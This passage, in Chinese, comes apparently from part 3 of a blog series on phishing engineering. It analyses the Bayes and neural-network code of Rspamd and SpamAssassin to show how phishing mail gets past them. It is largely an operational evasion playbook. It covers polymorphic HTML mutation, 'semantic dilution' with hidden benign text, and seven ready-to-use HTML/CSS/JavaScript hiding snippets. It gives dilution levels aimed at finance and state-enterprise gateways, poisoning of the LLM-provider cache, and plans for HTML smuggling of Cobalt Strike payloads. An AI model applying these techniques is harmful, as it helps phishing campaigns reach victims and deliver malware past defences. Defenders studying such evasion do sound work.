| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_HEADER&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 4&lt;/code&gt; | &lt;code&gt;0x10&lt;/code&gt; | 邮件 Header 头部字段提取的 Token |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_UNIGRAM&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 5&lt;/code&gt; | &lt;code&gt;0x20&lt;/code&gt; | 单字/单词一元 Token 标志 |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_UTF&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 6&lt;/code&gt; | &lt;code&gt;0x40&lt;/code&gt; | UTF-8/Unicode 多字节文本 Token |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_NORMALISED&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 7&lt;/code&gt; | &lt;code&gt;0x80&lt;/code&gt; | ICU 库成功进行规范化转换的 Token |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_STEMMED&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 8&lt;/code&gt; | &lt;code&gt;0x100&lt;/code&gt; | 已成功执行词干提取转换的 Token |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_BROKEN_UNICODE&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 9&lt;/code&gt; | &lt;code&gt;0x200&lt;/code&gt; | Unicode 序列规范化失败或格式损坏；会标记 &lt;code&gt;RSPAMD_TASK_FLAG_BAD_UNICODE&lt;/code&gt;，但不对 Bayes 权重做 50% 降权 |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_STOP_WORD&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 10&lt;/code&gt; | &lt;code&gt;0x400&lt;/code&gt; | 识别为高频中性的停用词 |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_SKIPPED&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 11&lt;/code&gt; | &lt;code&gt;0x800&lt;/code&gt; | 属于被衰减或跳过的 Token，不参与评分计算 |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_INVISIBLE_SPACES&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 12&lt;/code&gt; | &lt;code&gt;0x1000&lt;/code&gt; | 包含不可见字符的 Token |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_EMOJI&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 13&lt;/code&gt; | &lt;code&gt;0x2000&lt;/code&gt; | 包含 Emoji 表情符号的 Token |&lt;/p&gt;
&lt;p&gt;&lt;code&gt;BROKEN_UNICODE&lt;/code&gt; 和 &lt;code&gt;INVISIBLE_SPACES&lt;/code&gt; 是判断是否存在异常绕过行为的重要技术线索。若邮件中包含大量非规范 Unicode 或隐藏格式，容易触发网关的异常拦截逻辑。&lt;/p&gt;
&lt;h6&gt;词干提取与自定义分词（&lt;code&gt;tokenizers.c&lt;/code&gt; 约第 600-650 行）&lt;/h6&gt;
&lt;p&gt;词干提取（Stemming）会消除单词变形的影响，例如 &lt;code&gt;&quot;approved&quot;&lt;/code&gt; 与 &lt;code&gt;&quot;approves&quot;&lt;/code&gt; 会归并为相同的词干 &lt;code&gt;&quot;approv&quot;&lt;/code&gt;。这虽然限制了通过同词变形刷计数的做法，但也意味着如果注入大量 &lt;code&gt;&quot;unanimously&quot;&lt;/code&gt;，等于在全局给 &lt;code&gt;&quot;unanim&quot;&lt;/code&gt; 这一族词干刷了强烈的 Ham 信誉。在中文或日文的实际部署中，如果网关引入了自定义的中文分词器，需要摸清其词典边界，OOV的打散退化往往会减弱稀释效果。&lt;/p&gt;
&lt;p&gt;所有 Token 在生成时都会计算 Mum-hash 用于 Redis 端的去重。即使使用等价 Unicode 字符替换，哈希值的改变也会使其被当作新词统计。&lt;/p&gt;
&lt;h6&gt;自动学习决策（&lt;code&gt;lualib/lua_bayes_learn.lua&lt;/code&gt;，行 184、368）&lt;/h6&gt;
&lt;p&gt;在 &lt;code&gt;can_learn()&lt;/code&gt; 逻辑中，Rspamd 设置了自适应防过拟合的保护机制。默认的置信度阈值为 &lt;code&gt;min_prob = 0.95&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;-- 判断当前邮件的贝叶斯分类置信度是否已经达到阈值（默认为0.95）
in_class = prob &gt;= (probability_opts.min_prob or probability_opts.spam_min or 0.95)

if in_class then
  -- 若系统已经足够确信，则拒绝进一步将其加入训练库中，以防止模型过拟合
  return false, reason, ctx.result
end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果稀释文本成功将评分卡在拦截线以下，且置信度未达到 0.95，则分类器既不会拦截该邮件，也无法从中学习到最新的特征漂移，从而提供了一个稳定的绕过时间窗口。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951205_007.Dmxmonuj_Z16xSqu.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h5&gt;Rspamd 的神经网络插件（&lt;code&gt;src/plugins/lua/neural.lua&lt;/code&gt;）&lt;/h5&gt;
&lt;p&gt;除了贝叶斯层，Rspamd 默认启用了 ANN（神经网络）分类插件。&lt;/p&gt;
&lt;p&gt;其后置过滤器回调 &lt;code&gt;ann_scores_filter&lt;/code&gt;（源码约在 121 行）在贝叶斯分类器&lt;strong&gt;之后&lt;/strong&gt;执行。这意味着神经网络看到的特征已经经过了贝叶斯层的预处理。&lt;/p&gt;
&lt;p&gt;特征提取依赖以下五个 Provider 接口（源码第 33-37 行）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;-- 动态加载这五个特征提供者模块
pcall(require, &quot;plugins/neural/providers/llm&quot;)           -- 外部LLM嵌入特征
pcall(require, &quot;plugins/neural/providers/symbols&quot;)        -- 规则得分缓存收集
pcall(require, &quot;plugins/neural/providers/text_hash&quot;)      -- 局部特征哈希
pcall(require, &quot;plugins/neural/providers/fasttext_embed&quot;) -- FastText 词嵌入
pcall(require, &quot;plugins/neural/providers/static_embed&quot;)   -- 静态词嵌入
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在生产环境中，通常仅启用 &lt;code&gt;symbols&lt;/code&gt; 和 &lt;code&gt;text_hash&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;在 Hybrid特征提取模式下，神经网络把贝叶斯的打分直接当做特征输入的一部分。贝叶斯分数被稀释词干扰降下来后，这个偏低的分数被神经网络直接吃进去。神经网络虽然学到了”低贝叶斯分 = Ham”，但它无法区分这封信是因为干净还是被掺了沙子。&lt;/p&gt;
&lt;p&gt;网关串行审计架构在这里存在盲区。&lt;/p&gt;
&lt;p&gt;网关开启了 PCA 特征降维时，多封邮件里注入的相似良性文本被当作主成分保留，而原本维度较低的恶意敏感词特征反而容易在降维过程中被过滤掉，导致神经网络失效。&lt;/p&gt;
&lt;p&gt;权重继承机制（行 1452）通过 Redis 的 zset 查找 &lt;code&gt;providers_digest&lt;/code&gt; 匹配的旧 profile 并复制权重，避免在配置更新时重新训练。&lt;/p&gt;
&lt;p&gt;五个 Provider 绝大部分仍然依赖对 Token 流的切分。一旦贝叶斯层削弱了 Token 的区分力，神经网络所接收的输入特征也会随之失效。&lt;/p&gt;
&lt;h5&gt;Rspamd LLM Provider 的底层细节（&lt;code&gt;llm.lua&lt;/code&gt;）&lt;/h5&gt;
&lt;p&gt;在 LLM Provider 的工程设计中，有两个机制值得关注：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;拼装输入文本&lt;/strong&gt;：&lt;code&gt;collect_async&lt;/code&gt; 中，输入文本强制按&lt;strong&gt;主题优先&lt;/strong&gt;（Subject first）原则拼接：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&quot;Subject: &quot; + 邮件主题 + &quot;\n&quot; + 正文内容
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;确保在嵌入向量的位置编码中，高信息价值的主题行始终被置于最前，避免因长文本 截断 而丢失关键信息。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;路由与缓存&lt;/strong&gt;：该插件支持根据邮件检测语言路由到不同的第三方模型，且使用了 Redis 进行本地缓存（TTL 默认 24 小时）：&lt;/p&gt;
&lt;p&gt;Redis 缓存机制引入了新的规避面。已知目标网关开启了该缓存时，可以提前发送一封内容正常的良性邮件（使用特定主题词），让网关缓存下该特征。后续发送带有相同主题词的邮件即可命中该干净缓存，绕过实时审计。&lt;/p&gt;
&lt;h5&gt;SpamAssassin 的独立神经网络插件（&lt;code&gt;NeuralNetwork.pm&lt;/code&gt;）&lt;/h5&gt;
&lt;p&gt;SpamAssassin 的 NeuralNetwork 插件（v0.11.2）走另一条路：不依赖贝叶斯分，而是维护自己独立的词汇表与特征流水线。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;隐藏层结构&lt;/strong&gt;（源码第 767-770 行、第 1327-1330 行）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 隐藏层1节点数计算：≈ √输入维度 × 0.25 (向上取整)
my $num_hidden1 = int(sqrt($num_input) * 0.25 + 0.5);
$num_hidden1 = 4 if $num_hidden1 &amp;#x3C; 4; # 最少4个节点

# 隐藏层2节点数计算：为隐藏层1节点数的一半
my $num_hidden2 = int($num_hidden1 / 2);
$num_hidden2 = 2 if $num_hidden2 &amp;#x3C; 2; # 最少2个节点
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入层映射至该双隐层结构，并在单输出神经元输出结果。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;词表修剪卡方计算&lt;/strong&gt;（&lt;code&gt;_chi2_score&lt;/code&gt;，行 1065）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 计算特定词项(term)的卡方得分，用于过滤全局区分度弱的特征词
sub _chi2_score {
  my ($spam, $ham, $total_spam, $total_ham) = @_;
  my $total = $total_spam + $total_ham;
  return 0 unless $total &gt; 0;
  my $total_spam_noterm = $total_spam - $spam; # 未包含该词的Spam文档数
  my $total_ham_noterm = $total_ham - $ham;   # 未包含该词的Ham文档数

  # 分母为各维频数的乘积
  my $denom = ($spam+$ham) * ($total-$spam-$ham) * $total_spam * $total_ham;
  return 0 unless $denom &gt; 0;

  # 卡方检验矩阵交叉相乘平方差计算，提取鉴别度分值
  return ($total * ($spam*$total_ham_noterm - $ham*$total_spam_noterm)**2) / $denom;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在词汇表达到 10,000 的上限进行清理时，其卡方算法偏向于删除低频但有高特异性的词，而保留高频的中性词。使用高信誉的常规商务词汇进行稀释，它们不容易在词汇表清理中被剔除。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;类别加权训练&lt;/strong&gt;（行 817-825）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 根据训练样本中Spam与Ham的文档比例，为少数类乘以一个反比权重，最大加权值为4.0倍
if ($isspam) {
  $class_weight = ($spam_docs &gt; 0) ? $ham_docs / $spam_docs : 1.0;
} else {
  $class_weight = ($ham_docs &gt; 0) ? $spam_docs / $ham_docs : 1.0;
}
$class_weight = 1.0 if $class_weight &amp;#x3C; 1.0;
$class_weight = 4.0 if $class_weight &gt; 4.0;
my $weighted_epochs = int($train_epochs * $class_weight) || 1;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;大量发送被标记为 Ham 的稀释邮件，会稀释掉 ham_docs/spam_docs 的权重比例，直接把整个模型的权重偏向有利于 Ham 判定的方向。&lt;/p&gt;
&lt;p&gt;在重训计算”类原型向量”时，一段周期内持续发送含有良性术语的稀释信，这些词录入词表后直接毒化类原型向量，在重训后整体带偏神经网络的判断基准。&lt;/p&gt;
&lt;p&gt;SpamAssassin 神经网络插件有四道硬性检测门槛：邮件长度小于 256 字符，或命中词汇表的有效词少于 10 个时，系统直接跳过神经网络检测，退回到贝叶斯层。&lt;/p&gt;
&lt;p&gt;正文中把可见字符控制在 200~250 字符（大约 3、4 句话），然后将大段的稀释语料通过 CSS 隐藏（不可见语料不计入正文字数），神经网络就会因为有效字数不足而直接放弃检测，退回贝叶斯层，此时隐藏稀释词已经绕过了它。&lt;/p&gt;
&lt;h5&gt;其他方案对比：无原生 ML 的 SMTP 架构&lt;/h5&gt;
&lt;p&gt;Haraka（Node.js 开发）的内容检测插件不含原生 ML/NLP 组件，只做外部 Rspamd/SpamAssassin 接口转发，或者用 karma 等插件按硬编码规则对信誉、SPF 状态做加减分。自建 Node.js 邮件网关在这块很脆弱——绕过外部检测器之后，本地几乎没有防御。yangdongchao/mailscanner 这类 PyTorch 学术分类器就更不用说了，完全没考虑工程对抗。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x02 维度一：HTML 多态变异&lt;/h3&gt;
&lt;p&gt;网关审计 HTML 时，通常会将其解析为 DOM 树并计算指纹（如 Fuzzy Hash）。短时间内发送的多封邮件在 DOM 树特征上相似度过高，就会被判定为已知模板的变种。&lt;/p&gt;
&lt;p&gt;对抗方法：生成 HTML 时对每个收件人的邮件单独做变异编译，用多态方式扰乱 DOM 特征。&lt;/p&gt;
&lt;h4&gt;2.1 结构注入（Structural Injection）&lt;/h4&gt;
&lt;p&gt;编译引擎会在 DOM 树结构中动态引入以下变异：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;随机嵌套&lt;/strong&gt;：在 &lt;code&gt;&amp;#x3C;body&gt;&lt;/code&gt; 路径下随机引入 1~3 层无样式的 &lt;code&gt;&amp;#x3C;div&gt;&lt;/code&gt; / &lt;code&gt;&amp;#x3C;span&gt;&lt;/code&gt; 嵌套，其 class 类名完全动态随机生成。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;空节点引入&lt;/strong&gt;：随机插入多个 &lt;code&gt;display:none&lt;/code&gt; 占位符。视觉上不可见，但会影响 DOM 解析树的深度和兄弟节点计数，直接改变特征 Hash 值。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;属性顺序置乱&lt;/strong&gt;：在生成 HTML 元素时，随机打乱各标签属性的输出顺序（例如将 href, style, class 顺序倒置）。许多 DOM 解析器是顺序敏感的，这会改变网关的 Hash 指纹。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2.2 等效标签置换（Tag Normalization Bypass）&lt;/h4&gt;
&lt;p&gt;编译引擎结合转换映射，随机置换等效标签：&lt;/p&gt;
&lt;p&gt;| 原始标签 | 变异标签 | NLP 解析差异 |
| :-- | :-- | :-- |
| &lt;code&gt;&amp;#x3C;b&gt;&lt;/code&gt; | &lt;code&gt;&amp;#x3C;strong&gt;&lt;/code&gt; | 语义标签 vs 样式标签 |
| &lt;code&gt;&amp;#x3C;i&gt;&lt;/code&gt; | &lt;code&gt;&amp;#x3C;em&gt;&lt;/code&gt; | 同上 |
| &lt;code&gt;&amp;#x3C;strike&gt;&lt;/code&gt; | &lt;code&gt;&amp;#x3C;s&gt;&lt;/code&gt; / &lt;code&gt;&amp;#x3C;del&gt;&lt;/code&gt; | 新旧语法标准混杂 |
| &lt;code&gt;&amp;#x3C;center&gt;&lt;/code&gt; | &lt;code&gt;&amp;#x3C;div style=&quot;text-align:center&quot;&gt;&lt;/code&gt; | 标签 vs CSS 样式 |
| &lt;code&gt;&amp;#x3C;font&gt;&lt;/code&gt; | &lt;code&gt;&amp;#x3C;span style=&quot;...&quot;&gt;&lt;/code&gt; | 传统样式 vs CSS 样式 |&lt;/p&gt;
&lt;p&gt;每次生成以 50% 的概率随机置换，破坏基于标签分布的特征词频统计。&lt;/p&gt;
&lt;h4&gt;2.3 随机 CSS 格式化&lt;/h4&gt;
&lt;p&gt;模板里的类名均采用随机字符代替，同时内联 CSS 样式的属性格式也随机选择：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/* 格式一 — 十六进制 */
color: #ff0000; margin: 10px;

/* 格式二 — rgb函数 */
color: rgb(255, 0, 0); margin: 10px 10px 10px 10px;

/* 格式三 — hsl简写 */
color: hsl(0, 100%, 50%); margin: 10px;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;网关提取 CSS 的正则过滤规则因此无法成功匹配。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x03 维度二：语义稀释——拉低贝叶斯评分&lt;/h3&gt;
&lt;p&gt;语义稀释的数学原理是通过在正文引入大量的强 Ham 词，来拉低贝叶斯联合概率分值，让原本超标的分数降到网关拦截线以下。但工程落地中需要考虑这些稀释词的注入方式，以对抗网关的可见性检测。&lt;/p&gt;
&lt;h4&gt;3.1 数学原理&lt;/h4&gt;
&lt;p&gt;贝叶斯的代数加和公式为：&lt;/p&gt;
&lt;p&gt;一封包含”立即登录”、”验证账号”等 10~15 个强敏感词的钓鱼邮件，判定值容易突破 +60（网关拦截线通常为 +40）。&lt;/p&gt;
&lt;p&gt;不修改原有核心文案，通过在正文中注入大量强 Ham Token（每个词贡献 -2 至 -5 的得分），将联合分数拉低：&lt;/p&gt;
&lt;p&gt;当 Misplaced &amp;#x26; 时，系统会自动将该邮件归为 Ham 类别。&lt;/p&gt;
&lt;p&gt;根据工程实践，稀释注水词量的注入公式为：&lt;/p&gt;
&lt;p&gt;TaiGong 设置了三档注水等级：&lt;/p&gt;
&lt;p&gt;| 级别 | 注水比例 (DilutionRatio) | 适用场景 |
| :-- | :-- | :-- |
| Light | 2.0 | 对付消费级邮（Gmail / Outlook） |
| Standard | 5.0 | 对付企业 邮服环境 |
| Aggressive | 10.0 | 高防目标（金融、央企） |&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951205_008.CTNsKIW5_7tKJY.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;3.2 七种文本注入手段&lt;/h4&gt;
&lt;p&gt;按检测难度从低到高排列：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[#1](javascript:😉 HTML 注释区&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;#x3C;!-- quarterly budget review meeting scheduled for next Thursday --&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;HTML 注释区注入最基础——直接把词写在 &lt;code&gt;&amp;#x3C;!-- --&gt;&lt;/code&gt; 里。现代网关分词时一般会自动过滤注释，只对极少数老旧系统有效。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[#2](javascript:😉 同色极小字体&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;#x3C;span style=&quot;font-size:1px;color:#ffffff&quot;&gt;budget allocation approved&amp;#x3C;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用 CSS 把字体设成 1px、颜色设成与背景相同。简单网关上有效，但带可见字符占比审计的高级网关会触发惩罚。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[#3](javascript:😉 overflow:hidden 与零高度容器&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;#x3C;div style=&quot;height:0;overflow:hidden;max-height:0;opacity:0&quot;&gt;
  team meeting scheduled for Thursday
&amp;#x3C;/div&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;overflow:hidden&lt;/code&gt; 配合零高度容器（&lt;code&gt;height:0; max-height:0; opacity:0&lt;/code&gt;），比单一隐藏样式更稳定，不同环境下表现一致。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[#4](javascript:😉 ARIA 语义隐藏&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;#x3C;span aria-hidden=&quot;true&quot; role=&quot;presentation&quot; style=&quot;position:absolute;left:-9999px&quot;&gt;
  project milestone review
&amp;#x3C;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ARIA 无障碍属性也能用来隐藏：&lt;code&gt;aria-hidden=&quot;true&quot; role=&quot;presentation&quot;&lt;/code&gt; 配合 &lt;code&gt;left:-9999px&lt;/code&gt; 绝对定位，读屏器会跳过这段内容，但直接提取文本的网关引擎照读不误。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[#5](javascript:😉 mime multipart/alternative 差异注入&lt;/strong&gt;复合格式邮件走 &lt;code&gt;multipart/alternative&lt;/code&gt; 结构：&lt;code&gt;text/plain&lt;/code&gt; 放良性长文本，HTML 放实际内容。网关为了性能往往初筛只扫 plain 部分——第一轮评分就这样拉下来了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[#6](javascript:😉 CSS 伪元素 &lt;strong&gt;&lt;code&gt;content&lt;/code&gt;&lt;/strong&gt; 注入&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;#x3C;style&gt;
.d1::after { content: &quot;budget allocation quarterly review&quot;; }
.d2::before { content: &quot;team meeting scheduled for Thursday afternoon&quot;; }
&amp;#x3C;/style&gt;

&amp;#x3C;div class=&quot;d1&quot;&gt;&amp;#x3C;/div&gt;

&amp;#x3C;div class=&quot;d2&quot;&gt;&amp;#x3C;/div&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CSS 伪元素 &lt;code&gt;::before&lt;/code&gt; / &lt;code&gt;::after&lt;/code&gt; 注入则更难检测。稀释内容写入样式表的 &lt;code&gt;content&lt;/code&gt; 属性，普通文本提取器只读 DOM textContent，读不到 CSSOM 的计算值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[#7](javascript:😉 JavaScript 动态延时渲染&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;#x3C;div id=&quot;dilution_container&quot; style=&quot;display:none&quot;&gt;...&amp;#x3C;/div&gt;

&amp;#x3C;script&gt;
setTimeout(function() {
  document.getElementById(&apos;dilution_container&apos;).style.display = &apos;block&apos;;
}, 5000);
&amp;#x3C;/script&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JavaScript 延时渲染是检测难度天花板。容器初始状态设为隐藏，JS 延时数秒后再改为显示，网关一般不会等待 JS 执行完毕，扫描时这部分词被忽略，用户端依然可以渲染。&lt;/p&gt;
&lt;h4&gt;3.3 语料库筛选&lt;/h4&gt;
&lt;p&gt;语料库分三层：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Layer 1 — 通用商务（基础 500条）&lt;/strong&gt;：全是项目审批、会议通知等纯商业文案（比如“本季度财务预算已经提交审阅”）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Layer 2 — 行业特异（约 200条）&lt;/strong&gt;：根据每个行业所接触的邮件预料不同而塞入不同的词组进行干扰，因为目标行业的网关本就会经常放行这类词，把它们视为极高 Ham 概率特征。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Layer 3 — 动态生成&lt;/strong&gt;：调用 LLM 获取当天或本周的商业、时政热点，组装成和发信场景匹配的模板，也许能绕过网关的缓存名单？&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Token 筛选准则&lt;/strong&gt;：SpamAssassin 分值为负、长度超 5 字符、不带任何 URL 链接，三个条件缺一不可。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x04 未完成的维度三：HTML5 Smuggling 流量层绕过&lt;/h3&gt;
&lt;p&gt;绕过网关内容过滤后，进一步投送可执行程序（Cobalt Strike 载payload）时，还需要解决网络流量和附件特征的检测问题。&lt;/p&gt;
&lt;p&gt;HTML5 Smuggling 提供了流量层免杀的思路：让文件在受害者本地的浏览器内存中生成，而不是直接在网络上传输。&lt;/p&gt;
&lt;p&gt;暂时没有找到好的思路实现这一目标，目前来说这只是一个设想，因此也不过多套困了，具体的思路可以搜索相关关键词。&lt;/p&gt;
&lt;h4&gt;4.1 落地页上的对抗&lt;/h4&gt;
&lt;p&gt;TaiGong 实战中，目前只是语义稀释配合落地页一起用。&lt;/p&gt;
&lt;p&gt;效果不算很好，究极的理想状态就是我说的：受害者点击链接进入落地页后，后台执行 Smuggling ，同时往网关塞入大量良性商务免责声明等 Ham 文本，能够有效阻挡安全策略对 URL 的爬行和标记就如愿了。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x05 结语&lt;/h3&gt;
&lt;p&gt;从开源产品来看，策略应该都是大同小异的，就是不清楚闭源设备有LLM的参与之后，进化会到何种地步。&lt;/p&gt;
&lt;p&gt;更根本的防线在终端上。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;参考资料：&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;_Proofpoint: Introduction to HTML Smuggling, _https://www.proofpoint.com/us/blog/threat-insight/introduction-html-smuggling&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;_Proofpoint: HTML Smuggling Evolves - Threat Actor Adoption and Detection, _https://www.proofpoint.com/us/blog/threat-insight/html-smuggling-evolves&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;_SpamAssassin Bayes Scoring Documentation, _https://cwiki.apache.org/confluence/display/SPAMASSASSIN/Bayes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;_Rspamd Documentation: Statistics and Bayes, _https://rspamd.com/doc/configuration/statistic.html&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;_Microsoft 365 Defender Anti-Phishing Policy Reference, _https://learn.microsoft.com/en-us/defender-office-365/anti-phishing-policies-about&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;_IcedID Banking Trojan Leveraging HTML Smuggling (2021), _https://www.mcafee.com/blogs/other-blogs/mcafee-labs/icedid-banking-trojan-uses-html-smuggling-technique/&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;_SpamAssassin Bayes Plugin source_https://github.com/apache/spamassassin/blob/trunk/lib/Mail/SpamAssassin/Plugin/Bayes.pm&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;_SpamAssassin CombineChi source: _https://github.com/apache/spamassassin/blob/trunk/lib/Mail/SpamAssassin/Bayes/CombineChi.pm&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;_Rspamd Bayes classifier source: _https://github.com/rspamd/rspamd/blob/master/src/libstat/classifiers/bayes.c&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;_Rspamd Neural Network plugin source: _https://github.com/rspamd/rspamd/blob/master/src/plugins/lua/neural.lua&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;_Rspamd Neural Network providers (LLM): _https://github.com/rspamd/rspamd/blob/master/lualib/plugins/neural/providers/llm.lua&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;_Rspamd Tokenizer source: _https://github.com/rspamd/rspamd/blob/master/src/libstat/tokenizers/tokenizers.c&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;_Rspamd Bayes autolearn: _https://github.com/rspamd/rspamd/blob/master/lualib/lua_bayes_learn.lua&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;_SpamAssassin NeuralNetwork Plugin source: _https://github.com/apache/spamassassin/blob/trunk/lib/Mail/SpamAssassin/Plugin/NeuralNetwork.pm&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;_Haraka Plugin Ecosystem: _https://github.com/haraka/Haraka&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;_yangdongchao/mailscanner (Python ML): _https://github.com/yangdongchao/mailscanner&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;系列导航&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-1-gophish-ceiling&quot;&gt;Part 1：GoPhish 的天花板&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-2-opsec-infra&quot;&gt;Part 2：不可溯源的基础设施&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-3-bayes-nlp&quot;&gt;Part 3：贝叶斯与 NLP 内容对抗&lt;/a&gt; ← 本文&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-4-rid-polymorphism&quot;&gt;Part 4：参数多态与响应伪装&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-5-qr-delivery&quot;&gt;Part 5：无链接投递与 QR 码&lt;/a&gt;&lt;/li&gt;
